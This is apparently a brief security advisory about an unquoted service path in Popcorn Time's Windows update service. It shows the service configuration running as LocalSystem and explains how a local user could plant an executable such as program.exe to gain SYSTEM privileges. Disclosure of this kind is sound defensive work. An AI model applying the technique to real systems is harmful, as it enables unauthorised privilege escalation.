[+] Description:
Popcorn Time For Windows installs as a service with an unquoted
service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged
local
user to execute arbitrary code with elevated privileges on the
system.
[+] POC:
C:\Users\User>sc qc "Update service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Update service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Popcorn
Time\Updater.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
[+] Exploit:
A successful attempt would require the local user to be able to
insert their
code in "Program files (x86)" (popcorn.exe) or "C:\"
(program.exe)
folders undetected by the OS or other security applications
where it could potentially be executed during application startup
or reboot.
If successful, the local user's code would execute with the
elevated privileges
of the application.
